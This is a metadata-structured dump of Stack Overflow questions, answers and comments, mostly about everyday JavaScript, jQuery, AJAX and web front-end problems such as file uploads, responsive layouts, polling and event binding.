has comment: http://stackoverflow.com/comment/40147885
tagged with: struts2
answer count: 0
has body: I have code as below, but still i am getting json result as download file. I couldn't find where is the mistake. i am using ajaxfileupload.js jquery-1.7.2.min.js struts2-core-2.3.4.jar struts2-json-plugin-2.3.4.jar my Struts.xml text/html text/html My Ajax script: function validateFile(Url, resultID, buttonId) { $('#validatesuccessId').attr('style','display:none'); $("#loading") .ajaxStart(function(){ $(this).show(); }) .ajaxComplete(function(){ $(this).hide(); }); $.ajaxFileUpload({ url:Url,// secureuri:false,//false fileElementId:'fileToUpload',//id dataType: 'json',// json success: function (data, status) // { alert(data.successMessage);//jsonmessage,messagestruts2 if(typeof(data.error) != 'undefined') { if(data.error != '') { alert(data.error); }else { alert(data.message); } } }, error: function (data, status, e) { alert(e); } } ); return false; } My Action class public String validateFile() throws ApplicationException { //******* Application logic with uploaded file****** this .setSuccessMessage("Are you sure you want to upload the file"); this.getHttpResponse().setContentType("text/html"); return Action.SUCCESS; }
tagged with: javascript
tagged with: jquery
type: Question
score: 0

http://stackoverflow.com/comment/40109208
type: Comment
has text: @David Moores: `data-` attributes go hand-in-hand with jQuery plugins and are more flexible than the usual *options* object passed to most plugins so I highly recommend using `data-` attributes to get extra data into the page for jQuery.
score: 1
comment on: http://stackoverflow.com/a/25663096
type: AnswerComment

http://stackoverflow.com/a/25597704
score: 0
type: Answer
has body: Okay I found out why, after using the chrome backbone debugger, I found out one of the views wasn't being created.
answers question: http://stackoverflow.com/q/25597402

http://stackoverflow.com/comment/40003638
has text: If you can create a reference to the ` ` by some means, you can get the value, but that really doesn't have much to do with setting up the event handler.
type: QuestionComment
comment on: http://stackoverflow.com/q/25608145
score: 0
type: Comment

http://stackoverflow.com/q/25597563
has answer: http://stackoverflow.com/a/25597638
has comment: http://stackoverflow.com/comment/39984404
type: Question
has answer: http://stackoverflow.com/a/25597667
accepted answer: http://stackoverflow.com/a/25597667
answer count: 2
downvote count: 0
tagged with: javascript
tagged with: jquery
upvote count: 3
has comment: http://stackoverflow.com/comment/39984432
has body: I want my site to display differently based on the size of the web browser. Based on the questions/answers from other users, I got this to work with JavaScript onload. But I can't get it to work dynamically -- that is to say, in real-time, as users are adjusting the window. They have to refresh to get the format of the webpage to change. Here is my current code: &lt;table class="index_table" border="0"&gt; &lt;tr&gt; &lt;!--BELOW IS JAVASCRIPT FOR ADJUSTING HTML BASED ON WINDOW SIZE --&gt; &lt;script&gt; if (window.innerWidth &gt; 900){ document.write('&lt;td rowspan="3" class="index_article"&gt;&lt;/td&gt;'); } &lt;/script&gt; &lt;!-- END OF JAVASCRIPT --&gt; &lt;td class="index_article_light"&gt; &lt;h2 class="index_instructions_subheader"&gt;INSERT HEADER HERE&lt;/h2&gt; &lt;p class="index_instructions"&gt;INSERT PARAGRAPH HERE.&lt;/p&gt; &lt;p class="index_instructions"&gt;INSERT PARAGRAPH HERE. &lt;/p&gt; &lt;br /&gt; &lt;form action="signup.html" style="vertical-align:top;"&gt; &lt;table border="0" style="margin-left:auto;margin-right:auto;width:400px;"&gt; &lt;tr&gt; &lt;td&gt; &lt;input type="text" name="search" class="firstname" value="&amp;nbsp;First name"&gt; &lt;/td&gt; &lt;td&gt; &lt;input type="text" name="search" class="lastname" value="&amp;nbsp;Last name"&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan="2"&gt; &lt;input type="text" name="search" class="email" value="&amp;nbsp;Email"&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan="2"&gt; &lt;div style="color:#979797;"&gt;Password:&amp;nbsp;&lt;br /&gt;&lt;input type="password" name="password" class="password" value="Password"&gt;&lt;/div&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;div style="color:#979797;"&gt;Verify password:&amp;nbsp;&lt;input type="password" name="verify_passwords" class="password" value="Password"&gt;&lt;/div&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan="2"&gt; &lt;select&gt; &lt;option value="kent"&gt;INSERT LIST HERE&lt;/option&gt; &lt;/select&gt…
has comment: http://stackoverflow.com/comment/39984390
possible better answer: http://stackoverflow.com/a/25597638
tagged with: http://stackoverflow.com/tag/html
has title: How to dynamically adjust html table based on browser window size
linked to: http://stackoverflow.com/q/29683712
favorite count: 0
has comment: http://stackoverflow.com/comment/39984421
type: AnsweredQuestion
score: 3

http://stackoverflow.com/q/25561479
has answer: http://stackoverflow.com/a/25561708
downvote count: 4
upvote count: 0
answer count: 1
tagged with: javascript
favorite count: 0
linked to: http://stackoverflow.com/q/1732348
tagged with: regex
has comment: http://stackoverflow.com/comment/39917454
type: UnansweredQuestion
score: -4
type: Question
has body: Let's say I have a string such as: Lorem ipsum dolor sit amet, consectetur adipisicing elit , sed do eiusmod tempor incididunt ut labore et dolore magna aliqua . I'm looking to get all the text that's not part of a selected subset of tags. In this example, and tags only. I don't expect to be able to do this with one regular expression, I need some JS code which will let me manipulate the text outside of those specific tags, and then to re-constitute the entire string, modified. For example, let's say that I want to replace all letter a's with *. The desired output would be: Lorem ipsum dolor sit *met, consectetur *dipisicing elit , sed do eiusmod tempor incididunt ut l*bore et dolore <b*z>magn* *liqu*</b*z>. Note how the tag has been modified.
has title: RegEx to capture all text except certain tags

http://stackoverflow.com/comment/40112772
has text: And i think of another path to get the hover run.I want to use 'delegate' function or 'on' function to delegate the btn processing the hover function. for example: $ $("#table").append(" clickBtn "); $("#appendCell").find("button").live("hover", function(){ $(this).css("cursor","pointer");
type: Comment
comment on: http://stackoverflow.com/a/25667030
score: 0
type: AnswerComment

http://stackoverflow.com/q/25669094
tagged with: node.js
score: 3
has title: node.js hanging tcp connecting attempt
type: Question
downvote count: 0
tagged with: javascript
favorite count: 0
has body: When massive tcp connecting attempts from node.js javascript client to server while server is restarting, some connecting attempts are hanging. I wrote a simple script to reproduce it: var net = require('net'); function Conn() { var conn = new net.Socket({allowHalfOpen: false}); conn.setTimeout(1000); conn.on('error', function (connectionException) { console.log('TCP Repeater error: ' + connectionException); this.connected = false; }); conn.on('connect', function () { console.log("connected"); this.connected = true; }); conn.on('close', function () { console.log("connection closed"); this.connected = false; }); conn.on('timeout', function () { console.log("connection timeout"); this.connected = false; }); conn.connect(9997, "localhost"); } for (var i=0;i&lt;400;i++) { new Conn(); } Run this script against a starting tcp server. Some attempts are getting errors as server has been started, some attempts are connected after server is started. However, some attempts won't trigger any events and just hanging. Is there anyway I can kill those hanging attempts? It looks connection timeout won't help as it's for inactivity of established connections. Is there any way to set connecting timeout like setSoTimeout in java? Thanks
answer count: 0
upvote count: 3
tagged with: tcp
type: UnansweredQuestion
tagged with: sockets

http://stackoverflow.com/q/25701198
answer count: 1
tagged with: google-sites
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40172661
has body: I want to build a student attendence monitoring system using google site. I need a help for that..I can't understand from where to start. I made a site. made a form for student registration and attached it to my site...the response sheet is also attached with it..then blank... JavaScript is not running on HTML view. I don't know how to enable it. so plzz help me to run java script and also give me the idea what I should do after this.. I want a page on my site that collect students' data with daily attendance. with a submit button that data will be stored in a spresdsheet automatically. and making another page where I will see the details of a particular student. Thank you.. :)
type: Question
tagged with: google-apps-script
has comment: http://stackoverflow.com/comment/40193129
has comment: http://stackoverflow.com/comment/40173135
tagged with: javascript
has answer: http://stackoverflow.com/a/25727815
score: 0
has title: I want to build a student attendence monitoring system using google site

http://stackoverflow.com/a/25602566
score: 0
type: Answer
has body: While working with asp:updatepanel we have to maek some changes.And if you are using JQuery then find your jQuery function You have to add a load() function which will add the End Request event using the Page Request Manager and will register the jquery function (Here jsFunctions) Like this &lt;script language="javascript" type="text/javascript"&gt; function load() { Sys.WebForms.PageRequestManager.getInstance().add_endRequest(jsFunctions); } function jsFunctions() { $("#btnClick").click(function () { alert("Alert"); }); } &lt;/script&gt; Finally &lt;body onload="load()"&gt;
answers question: http://stackoverflow.com/q/25600069

http://stackoverflow.com/comment/40115078
type: Comment
type: QuestionComment
has text: Do you have a link to the live?
score: 0
comment on: http://stackoverflow.com/q/25669514

http://stackoverflow.com/comment/40092729
score: 0
type: Comment
type: QuestionComment
has text: Shouldn't you call `Router.navigate` instead?
comment on: http://stackoverflow.com/q/25656869

http://stackoverflow.com/comment/39916254
type: QuestionComment
has text: Performance isn't really an issue here, I don't think that using jquery to add/remove a node from the DOM is going to break the bank for anyone. I would rather see the element in the html source so I have some indication of what's happening but honestly, it doesn't really matter. Do whatever is most consistent with current practices for the project.
comment on: http://stackoverflow.com/q/25560873
score: 0
type: Comment

http://stackoverflow.com/q/25665070
has answer: http://stackoverflow.com/a/25665190
downvote count: 1
type: Question
tagged with: javascript
answer count: 2
tagged with: http://stackoverflow.com/tag/html
score: 1
favorite count: 0
has title: Enter Value in one HTML page and other html page shows it dynamically, without a new one everytime
has answer: http://stackoverflow.com/a/25665776
upvote count: 2
type: UnansweredQuestion
has body: Requirements Add value to a field in one html page. Submit. Should show the value on another html page. Any update on first page should update the second page and not open a new one. I have written some HTML which is below. What is happening is that once I press submit it opens another page (page2.html) in same window. What I want is to have two html windows and whenever I update Home page it should reflect on the same page. (page2.html) Home.html OrderID: page2.html

http://stackoverflow.com/comment/39932207
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25569428
type: Comment
has text: You said that "doesn't work when I check/uncheck the checkbox" .. The above answer solves the issue related to functions being called when you check/uncheck the checkbox. It does not solve the issue inside the function which you will have to do..

webpage-screenshot
type: Tag
tags question: http://stackoverflow.com/q/25652485
tag name: webpage-screenshot

http://stackoverflow.com/comment/39966916
type: QuestionComment
comment on: http://stackoverflow.com/q/25588098
score: 0
has text: @SindreSørensen To remove an event listener, use [**`off()`**](http://api.jquery.com/off/) or, depending on your jQuery version, use [**`unbind()`**](http://api.jquery.com/unbind/) (it is depreciated as of 1.7).
type: Comment

http://stackoverflow.com/comment/57066032
comment on: http://stackoverflow.com/q/25683871
type: QuestionComment
has text: Know I'm very late here but you would have to give each marker an ID as mentioned in @markoletic's answer. Also in your code your second marker overrides the first since you're saving them to the same `var marker`. I added a more detailed answer below.
type: Comment
score: 0

http://stackoverflow.com/comment/40088558
comment on: http://stackoverflow.com/q/25652669
score: 0
type: Comment
type: QuestionComment
has text: you set `dataType` to "html" , are you sure that is the response you are expecting, and the server will give it to you? try `"json"`

kendo-combobox
tag name: kendo-combobox
tags question: http://stackoverflow.com/q/25688219
type: Tag

http://stackoverflow.com/q/25591253
favorite count: 0
has comment: http://stackoverflow.com/comment/39972977
downvote count: 6
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25591273
has comment: http://stackoverflow.com/comment/39973209
has comment: http://stackoverflow.com/comment/39972843
has comment: http://stackoverflow.com/comment/39972688
type: Question
has title: Unexpected token error in JS function
upvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/39972699
has body: I am trying to run this code but it's giving me unexpected token error. please help solving this error var goSleep=function();// goSleep Function { var count=0; var loop=false; while(count&lt;3) //while loop { console.log("hi!"); count++; loop=false; } for(i=0;i&lt;4;i++) //for loop { console.log(i); } var login=false; do{//do while loop console.log("gud day"); }while(login); }; goSleep();
has answer: http://stackoverflow.com/a/25591273
answer count: 1
score: -6

http://stackoverflow.com/comment/40013462
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25613586
has text: @Derek 朕會功夫 What makes you think this is a duplicate? It most certainly isn't. The person posting this question said nothing about Node.js.

http://stackoverflow.com/comment/40064047
has text: Try to remove the `1.5*` part from `context.arc(500,250,200,1.5*Math.PI,Math.PI,true);` and draw a plus sign (+) with the same background color on top of the arc.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25641182
score: 0

http://stackoverflow.com/comment/40160012
comment on: http://stackoverflow.com/a/25691296
type: Comment
score: 1
has text: Status says 200 OK. I've made a screenshot of the POST: http://i.imgur.com/G1oPm2W.png .
type: AnswerComment

http://stackoverflow.com/comment/39967814
comment on: http://stackoverflow.com/a/25569953
type: AnswerComment
has text: ok, i do it, but how i will know if it was scrolled? I tried with $window.scrollY before and after the click(); but it equal to 0. What's wrong? Cheers!
score: 0
type: Comment

http://stackoverflow.com/comment/40190728
comment on: http://stackoverflow.com/a/25710530
score: 0
has text: @SzamDev No, it's not necessary; `jQuery UI 1.11` requires `jQuery 1.6+`.
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40063149
has text: what query to write?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25640785
type: Comment

http://stackoverflow.com/a/25659526
has comment: http://stackoverflow.com/comment/40098586
has body: You can use: /^(\d+(?:,\d+){0,9})?$/ This will also accept blank string as valid input.
has comment: http://stackoverflow.com/comment/40097416
upvote count: 2
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/40099977
score: 2
has comment: http://stackoverflow.com/comment/40097479
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25659480
answers question: http://stackoverflow.com/q/25659480
has comment: http://stackoverflow.com/comment/40097454

http://stackoverflow.com/comment/40219693
has text: Actually, I wasn't really looking for a brute-force javascript solution (because I could write one myself quite easily). I was looking for a jquery dom-navigation solution. However, this solution is the only one that works, and I can copy/paste it rather than write it myself, so I'll accept it -- thanks.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25692548

http://stackoverflow.com/comment/39907896
has text: @GregBurghardt saying `scroll` was a mistake. I was thinking of the function `window.scrolTo()` which is only on the window, but is not an event (obviously). However, the larger point was that if you're abstracting an event system for everything, you should delegate to `window` instead of `documentElement`.
type: Comment
comment on: http://stackoverflow.com/a/25553774
score: 0
type: AnswerComment

http://stackoverflow.com/q/25609946
score: 0
answer count: 1
has title: Use variable key in CasperJS' fillSelectors
has body: I want to use a variable as key for the fillSelectors() Method input tag: this.fillSelectors(formLogin, { variable1:myEmail},false) The form name and the value (myEmail) are variable, but not the key(variable1). As key, a string is needed, otherwise I get an error: CasperError: Errors encountered while filling form: no field matching css selector "inpu1" in form Can you help with that?
tagged with: casperjs
type: AnsweredQuestion
tagged with: javascript
type: Question
has answer: http://stackoverflow.com/a/25618389
accepted answer: http://stackoverflow.com/a/25618389

http://stackoverflow.com/comment/39975412
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25588056
has text: Hey @pabo , Thanks for the reply! I like where you're going with this... I'm going to be away for most of the day but when I return, I have some questions/ideas for you.
score: 0

http://stackoverflow.com/comment/39980743
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25595485
score: 0
has text: @ExpertSystem I'll investigate it further, although it appears to still be there in there in the source code I clearly remember reading about it being removed in $resource (and not just promises) - I admit that in second thought this might have been in a "somewhat internal" google doc with plans for 1.3 - this might have not ended up in 1.3 after all (as with other stuff from there) and I might be wrong here so take what I wrote with two grains of salt - I'll go ask around and make sure.

for-loop
tags question: http://stackoverflow.com/q/25608725
tags question: http://stackoverflow.com/q/25663895
tags question: http://stackoverflow.com/q/25551975
tags question: http://stackoverflow.com/q/25638962
tags question: http://stackoverflow.com/q/25695452
tags question: http://stackoverflow.com/q/25627223
tag name: for-loop
tags question: http://stackoverflow.com/q/25651101
tags question: http://stackoverflow.com/q/25597530
tags question: http://stackoverflow.com/q/25563649
type: Tag
tags question: http://stackoverflow.com/q/25676279
tags question: http://stackoverflow.com/q/25569396
tags question: http://stackoverflow.com/q/25693692
tags question: http://stackoverflow.com/q/25612619

http://stackoverflow.com/q/25604754
type: AnsweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/39997500
upvote count: 5
tagged with: javascript
has body: I have created a JS file that I place in some webpages other than mine. So mine is domain-1.com and I place this to domain-2.com and domain-3.com This JS contains jsonp and I save some data from their pages to my database successfully. Also, I create some cookies and I save a value to the localstorage. the problem is that when a visitor goes to domain-2.com and tomorrow to www.domain-2.com they will have a different value because os the www. I want this value to be the same across www. or not, maybe at the same time, I do not know an applicable idea. It is better for me to pass the value the same time for www. and without www. How to do this? I only provide them with a JS external link. It is ok If I place an iframe also.
has answer: http://stackoverflow.com/a/25704229
has comment: http://stackoverflow.com/comment/40178797
has comment: http://stackoverflow.com/comment/40347665
downvote count: 0
answer count: 1
favorite count: 0
has title: How to create localStorage for the same domain with www. at the same time or at the next visit?
linked to: http://stackoverflow.com/q/4026479
score: 5
accepted answer: http://stackoverflow.com/a/25704229

http://stackoverflow.com/q/25630959
tagged with: web-applications
has comment: http://stackoverflow.com/comment/40047238
has comment: http://stackoverflow.com/comment/40159756
type: Question
tagged with: safari
has body: I made a webapp that has a spinner while the login form is submitted using javascript, the spinner stays on the page until the page switches. I have tested this with Safari, Chrome, Firefox on an actual computer, on Chrome and a Desktop shortcut on android, and with a desktop shortcut and on Safari for iOS. On Safari for iOS the spinner disappears after only a second even if the login takes 2-3 seconds, but on the same device if I use the Desktop shortcut it will stay the entire time. Is there a reason that I am getting different functionality from the same webapp from the same device?
has comment: http://stackoverflow.com/comment/40046573
has comment: http://stackoverflow.com/comment/40159372
tagged with: iphone-web-app
tagged with: ios
tagged with: javascript
has title: iOS safari different than iOS desktop shortcut to same website
score: 0
has comment: http://stackoverflow.com/comment/40047137
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/a/31992120
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25621733
has body: Writing a custom formatter to get pretty output is inconvenient, because it forces you to write a custom formatter for every test where your custom object is involved. E.g. you have to duplicate the custom formatting logic for [{key: new MyObject() }] and [new MyObject()]. It would be much more convenient if there was a way to specify how MyObject is serialized. This can be done via the jasmineToString method. If this function is present on the function, then Jasmine will print its return value instead of recursively processing the object. This works in all versions of Jasmine (1.3, 2.0, 2.1, 2.3). Here is an example (with deliberately failing tests): function MyObject(id) { this.id = id; this.junk = 'bla bla'; // I do not want to see this. } it('should be pretty', function() { MyObject.prototype.jasmineToString = function() { return 'MyObject(' + this.id + ')'; }; expect([new MyObject(123)]).toBe(new MyObject('different')); // "Expected [ MyObject(123) ] to be MyObject(different)." }); it('should be ugly', function() { MyObject.prototype.jasmineToString = undefined; expect([new MyObject(123)]).toBe(new MyObject('different')); // "Expected [ MyObject({ id: 123, junk: 'bla bla' }) ] to be ..." }); &lt;link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/jasmine/2.3.4/jasmine.css"&gt; &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/jasmine/2.3.4/jasmine.js"&gt;&lt;/script&gt; &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/jasmine/2.3.4/jasmine-html.js"&gt;&lt;/script&gt; &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/jasmine/2.3.4/boot.js"&gt;&lt;/script&gt;

http://stackoverflow.com/comment/39930762
type: QuestionComment
has text: I'm randomizing them with php function shuffle(), then I show them.
score: 0
comment on: http://stackoverflow.com/q/25568433
type: Comment

http://stackoverflow.com/q/25620504
has body: I've created an ajax function that handles a lot of data, so when the button is clicked, it may take a while for a response. Now when people were on the site they kept clicking which left my database with duplicate data. I've Googled and found the on and off event of jQuery for binding and unbinding a click event. When the function gets fired the unbind event works, but when the response is invalid I want to bind the click event again and this is not working in my case. The alert get's fired so it reaches the on function. Could someone take a look at my function and see what I'm doing wrong? $('#afrekenen').click(function(){ $('#afrekenen').off("click"); clearInterval(myInterval); var fields = $('.addressform :input'); $.each(fields, function(field,val){ $(val).removeClass('errorInput'); }) var gegevens = {}; var adresform = $('.addressform').serializeArray(); $.each(adresform, function(index, val){ gegevens[this.name] = this.value; }); if(!$('input[name=payment]:checked').val()){ var betaalwijze = 0; }else{ var betaalwijze = $('input[name=payment]:checked').val(); } var voorwaarden = $('input[name=voorwaarden]:checked').val(); $.ajax({ type: 'post', url: '/inc/afrekenen.php', data: {"gegevens":gegevens ,"betaalwijze":betaalwijze,"voorwaarden":voorwaarden}, fail: function() { $('#afrekenen').on("click"); $('#errormsg').html('&lt;div class="alert alert-danger"&gt;'+ '&lt;button type="button" class="close" data-dismiss="alert" aria-hidden="true"&gt;&amp;times;&lt;/button&gt;Oops something went wrong. please try again&lt;/div&gt;'); }, success: function(data) { response = jQuery.parseJSON(data) if(response.isValid == false){ alert('hoi'); $('#afrekenen').on("click"); $('#errormsg').html('&lt;div class="alert alert-danger"&gt;'+ '&lt;button type="button" class="close" data-dismiss="alert" aria-hidden="true"&gt;&amp;times;&lt;/button&gt;' +response.message+'&lt;/div&gt;'); $.each(response.fouteVelden, function(index, object){ $('#'+object+'').addClass('errorInput'); }); …
accepted answer: http://stackoverflow.com/a/25620851
tagged with: ajax
has title: jQuery on/off method not working after unbinding click event
has comment: http://stackoverflow.com/comment/40026032
has comment: http://stackoverflow.com/comment/40026169
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40026454
score: 0
tagged with: http://stackoverflow.com/tag/json
type: Question
has comment: http://stackoverflow.com/comment/40026069
has answer: http://stackoverflow.com/a/25620851
has comment: http://stackoverflow.com/comment/40026384
tagged with: javascript
has answer: http://stackoverflow.com/a/25620878
has comment: http://stackoverflow.com/comment/40026196
answer count: 2
possible better answer: http://stackoverflow.com/a/25620878
has comment: http://stackoverflow.com/comment/40025980
tagged with: jquery
has comment: http://stackoverflow.com/comment/40026074

http://stackoverflow.com/comment/106802047
comment on: http://stackoverflow.com/a/25584027
has text: For me when used new lines `(\n)` this worked **webdriver.executeScript(`document.getElementsByClassName('CLASS').innerHTML=\`${text}\``;**
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/25608877
accepted answer of: http://stackoverflow.com/q/25602370
has body: Adding non-existing values to an optionset it is not supported. The alternative is to create an HTML web resource, cleaner than using a crm optionset field..
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25602370
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/a/25672081
has body: This seems to work even in IE8. Basically create a script element for inline script and eval() the .text of that script. Then use document.write to append external scripts but escape the . The functions could use some cleanup but hopefully someone finds this useful. // Append js. function _appendJS(jsobj, d, selector) { var _content = d; var _selector = selector; var _jsobj = jsobj; // Create script tag for inline js. if(_jsobj.inline) { var script = document.createElement('script'); script.type = 'text/javascript'; script.text = _jsobj.inline; document.getElementsByTagName("body")[0].appendChild(script); } // Write urls for external js. if(_jsobj.urls) { for(var i=0; i<_jsobj.urls.length; i++) { var _url = _jsobj.urls[i]; var script = document.createElement('script'); script.type = 'text/javascript'; script.src = _url; document.getElementsByTagName("body")[0].appendChild(script); } } // Append html content. _appendHTML(_content, _selector); } // Append html. function _appendHTML(d, selector) { if(selector) { selector.innerHTML += d; } else { console.log('Invalid selector provided.'); } } // Append. function _append(d, selector) { var content = d; var js = content.match(/<script/g); // Javascript and html. if(js) { var urls = []; var inline = ''; var regInline = /<script[^type="(.*?)">]*>([\s\S]*?)<\/script>/gmi; var regSrc = /<script.*?src="(.*?)"><\/script>/gmi; // Extract inline javascript. content = content.replace(regInline, function(){ inline += arguments[1] + '\n'; return ''; }); // Extract external javascript urls. content = content.replace(regSrc, function(){ urls.push(arguments[1]); return ''; }); var jsobj = { 'inline': inline, 'urls': urls } _appendJS(jsobj, content, selector) // Html. } else { _appendHTML(content, selector); } } var selector = document.getElementById('content'); var d = ' alert("inline javascript 1");</\script> html only subtitle. alert("inline javascript 2");</\script> alert("inline javascript 3");</\script> </\script> alert("more inli…
upvote count: 1
type: Answer
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/25633775
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25633775

http://stackoverflow.com/comment/40059606
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25638699
score: 0
has text: yes i understand that but how can i solve it?

http://stackoverflow.com/comment/40153234
comment on: http://stackoverflow.com/a/25690275
type: AnswerComment
score: 0
type: Comment
has text: On the live site, however, it still wraps each individual thing in the new div. Each line, each , everything gets its own div wrap for some reason.

http://stackoverflow.com/comment/40050049
has text: could you explain a little more? i'm starting to learn javascript and i don't quite understand what (app) does in your code.
comment on: http://stackoverflow.com/a/25630980
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40003136
comment on: http://stackoverflow.com/q/25607621
score: 0
type: QuestionComment
type: Comment
has text: I have seen many people use new while inserting into array of objects what it does??

http://stackoverflow.com/q/25597639
upvote count: 3
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/28729963
type: Question
tagged with: graph
score: 3
tagged with: google-visualization
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40005075
tagged with: javascript
favorite count: 0
has body: I need to add one vertical line on google chart marking monday. as shown in picture. all of other things has been done.. but couldn't figure out how to put vertical line marking every monday. I found this hAxis: { ticks: "" }, functionality in google chart use i can make user of.. but couldn't figure out how do i use it for every monday....
has title: Google Chart: add vertical line on every monday

http://stackoverflow.com/comment/40118639
has text: Sounds like you need to do a bunch of profiling and optimisations. A webapp by itself really shouldn't be crashing users' browsers
type: Comment
comment on: http://stackoverflow.com/q/25671487
type: QuestionComment
score: 0

http://stackoverflow.com/q/25694325
type: Question
tagged with: ajax-polling
tagged with: javascript
tagged with: jquery
tagged with: ajax
score: 0
accepted answer: http://stackoverflow.com/a/25694477
answer count: 1
linked to: http://stackoverflow.com/q/11223829
has answer: http://stackoverflow.com/a/25694477
has body: This question is related to this: jQuery recursive ajax poll using setTimeout to control the poll interval, but slightly different and I cannot figure out why. function _poll(n) { $.ajax({ url: "/check_status", type: "POST", data: {state: 0}, success: function(xhr) { var data = $.parseJSON(xhr) if (data.status == 0) { poll(n) } } }); } function poll(n) { setTimeout(_poll(n), 5000); } Like the other question, the request is also sent out crazy. Thanks a lot for the help! Note, I have to use different names "poll" and "_poll" for other purposes.
type: AnsweredQuestion
has title: jQuery recursive ajax poll using setTimeout

http://stackoverflow.com/comment/40110757
has text: I was thinking of promises, but how would the code look like? I still really haven't figured out how it works :)
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25665807

http://stackoverflow.com/a/25594974
answers question: http://stackoverflow.com/q/25594846
type: Answer
has comment: http://stackoverflow.com/comment/40014786
has body: pretty sure you just want this - (function(symbolName) { Symbol.bindElementAction(compId, symbolName, "${_snoze_btn}", "click", function(sym, e) { // remind again again in 10 minutes popupPlayOrSnoozeDialogTimer = setTimeout(popupPlayOrSnoozeDialogTimer, 600000); }); }()) If you want to add 10 minutes to the current timeout until that function is called again, check out this answer or look at new Date().valueOf()
score: 0

http://stackoverflow.com/comment/39982841
comment on: http://stackoverflow.com/q/25596782
score: 0
type: QuestionComment
has text: If you wanted to store them to variables, then in the forthcoming ECMAScript 6 you'll be able to use destructuring assignment `var {1:x, 4:y} = a;`, which will set the `x` and `y` variables to the `1` and `4` members.
type: Comment

http://stackoverflow.com/q/25657166
has comment: http://stackoverflow.com/comment/40093169
answer count: 3
possible better answer: http://stackoverflow.com/a/25658049
has comment: http://stackoverflow.com/comment/40093373
tagged with: css
has title: How to put an element in a different place (responsive)
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25658214
tagged with: responsive-design
accepted answer: http://stackoverflow.com/a/25658214
has answer: http://stackoverflow.com/a/25658049
type: Question
score: 0
has body: I am trying to make a responsive search bar which will be placed in a different place on desktop and mobile. I build two differents search bar with different IDs, with display: none and display: block and with the same jQuery code. I have one problem: - search input doesn't close anymore if I click on a other part than the search icon. With one search bar, input automatically close when I click anywhere. With one search bar: codepen.io/anon/pen/Adgpf With two search bars: codepen.io/anon/pen/ceHmn
has answer: http://stackoverflow.com/a/25658438
has comment: http://stackoverflow.com/comment/40093502
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40093323

http://stackoverflow.com/q/25706726
has comment: http://stackoverflow.com/comment/40183327
type: Question
has answer: http://stackoverflow.com/a/25707353
tagged with: php
tagged with: css
score: 0
answer count: 1
has body: When I'm using ajax to load data into a div element and using jquery moible recipe sprinkel fruit checkout and I wrote the javascript code getAjaxContentL function getAjaxContent(type){ var category = type; console.log("begin to get " + category); var xmlhttp; if(window.XMLHttpRequest){ xmlhttp = new XMLHttpRequest(); }else{ xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } console.log(xmlhttp); xmlhttp.onreadystatechange=function(){ if(xmlhttp.readyState==4 && xmlhttp.status==200){ document.getElementById("main").innerHTML = xmlhttp.responseText; } } xmlhttp.open("GET","index.php?category="+category,true); xmlhttp.send(); } and the index.php file is like below: <?php $category = $_GET['category']; if($category == recipe){ echo ' Acura Audi BMW Cadillac Ferrari '; } if($category == sprinkel){ echo 'response sprinkel'; } if($category == fruit){ echo 'response fruit'; } and it's strange that when I click the recipe it will excute the function getAjaxContent. Also it shows the content in the main div correctly but the problem is that the element in the main div will lose it's style in jquery mobile. somebody help??
has title: jquery mobile ajax load content into a div element will lose it's css style
tagged with: jquery-mobile
tagged with: javascript
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/10373618
has comment: http://stackoverflow.com/comment/40183099
tagged with: ajax

http://stackoverflow.com/comment/40339109
has text: Dont you need to tell resumeBootstrap the name of your module such as `angular.resumeBoostrap(app['name')`. What you have will make the error go away, but does it load the proper base module?
type: Comment
comment on: http://stackoverflow.com/a/25770449
score: 0
type: AnswerComment

http://stackoverflow.com/a/25571479
has body: Include the jQuery in your page and change the to <input type="button" just because will submit the form if you use it. Presenting udp packet data IMEI of desired devices All Data 012981000298213 The change your JS to $(document).ready(function(){ $( "#Submit" ).click(function() { $( "#displayData" ).load( "getData.php" ); }); })
score: 0
answers question: http://stackoverflow.com/q/25569107
type: Answer

http://stackoverflow.com/comment/40143031
comment on: http://stackoverflow.com/q/25683556
has text: strange...i think there is problem somewhere else..
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/25552298
has answer: http://stackoverflow.com/a/25557411
answer count: 1
downvote count: 0
tagged with: javascript
favorite count: 0
